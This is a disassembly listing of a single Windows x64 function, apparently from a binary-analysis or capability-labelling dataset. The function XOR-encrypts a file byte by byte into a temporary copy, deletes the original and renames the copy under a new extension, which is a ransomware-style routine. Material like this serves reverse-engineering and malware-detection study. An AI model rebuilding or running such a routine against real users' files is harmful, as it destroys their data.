Function at 0x140001a14
Capabilities:
Delete file
Move file

Disassembly:
push rbp
push rbx
sub rsp, 0x478
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x410], rcx
mov qword [rbp + 0x418], rdx
mov rdx, qword [rbp + 0x410]
lea rax, [rbp + 0x1d0]
mov r8d, 4
mov rcx, rax
call fcn.1400909f0
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140001aac
lea rax, str.Error_opening_file:
mov rdx, rax
mov rax, qword [0x1400c4030]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x410]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
lea rax, [0x1400be05a]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, 0
jmp 0x140001de5
lea rax, [rbp + 0x1b0]
mov rdx, qword [rbp + 0x410]
lea r8, str..temp
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_const_
lea rdx, [rbp + 0x1b0]
lea rax, [rbp - 0x30]
mov r8d, 4
mov rcx, rax
call fcn.140092f40
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.is_open__
xor eax, 1
test al, al
je 0x140001b4b
lea rax, str.Error_creating_temporary_file:
mov rdx, rax
mov rax, qword [0x1400c4030]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x1b0]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
lea rax, [0x1400be05a]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
mov ebx, 0
jmp 0x140001da8
mov rax, qword [rbp + 0x418]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.length___const
mov qword [rbp + 0x3e0], rax
mov qword [rbp + 0x3e8], 0
jmp 0x140001bc1
mov rdx, qword [rbp + 0x3e8]
mov rax, qword [rbp + 0x418]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long__const
movzx edx, byte [rax]
movzx eax, byte [rbp - 0x31]
xor eax, edx
mov byte [rbp - 0x31], al
mov rax, qword [rbp + 0x3e8]
add rax, 1
mov edx, 0
div qword [rbp + 0x3e0]
mov qword [rbp + 0x3e8], rdx
movzx eax, byte [rbp - 0x31]
movsx edx, al
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::ostream.put_char_
lea rdx, [rbp - 0x31]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::istream.get_char_
mov rdx, qword [rax]
sub rdx, 0x18
mov rdx, qword [rdx]
add rax, rdx
mov rcx, rax
call method.std::basic_ios_char__std::char_traits_char___.operator_bool___const
test al, al
jne 0x140001b6e
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::basic_ifstream_char__std::char_traits_char___.close__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov rax, qword [rbp + 0x410]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.remove
test eax, eax
setne al
test al, al
je 0x140001c65
lea rax, str.Error_deleting_original_file:
mov rdx, rax
mov rax, qword [0x1400c4030]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [rbp + 0x410]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
lea rax, [0x1400be05a]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rax, qword [rbp + 0x410]
mov r8, 0xffffffffffffffff
mov edx, 0x2e
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.find_last_of_char__unsigned_long_long__const
mov rcx, rax
lea rax, [rbp + 0x3c0]
mov rdx, qword [rbp + 0x410]
mov r9, rcx
mov r8d, 0
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.substr_unsigned_long_long__unsigned_long_long__const
lea rax, [rbp - 0x60]
lea rdx, [rbp + 0x3c0]
lea r8, [0x1400be0c7]
mov rcx, rax
call dbg.std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > std::operator+<char, std::char_traits<char>, std::allocator<char> >(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >&&, char const*)
lea rax, [rbp + 0x3c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x60]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x1b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rdx, rbx
mov rcx, rax
call sym.rename
test eax, eax
setne al
test al, al
je 0x140001d5d
lea rax, str.Error_renaming_file:
mov rdx, rax
mov rax, qword [0x1400c4030]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp + 0x1b0]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
lea rax, str._to
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x60]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
lea rax, [0x1400be05a]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
jmp 0x140001d97
lea rax, str.File_encrypted_and_renamed_to:
mov rdx, rax
mov rax, qword [0x1400c4050]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
lea rax, [rbp - 0x60]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
lea rax, [0x1400be05a]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov ebx, 1
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
cmp ebx, 1
jne 0x140001dc0
mov ebx, 1
jmp 0x140001dc5
mov ebx, 0
lea rax, [rbp + 0x1b0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
cmp ebx, 1
jne 0x140001de0
mov ebx, 1
jmp 0x140001de5
mov ebx, 0
lea rax, [rbp + 0x1d0]
mov rcx, rax
call fcn.140091110
cmp ebx, 1
jmp 0x140001e61
add rsp, 0x478
pop rbx
pop rbp
ret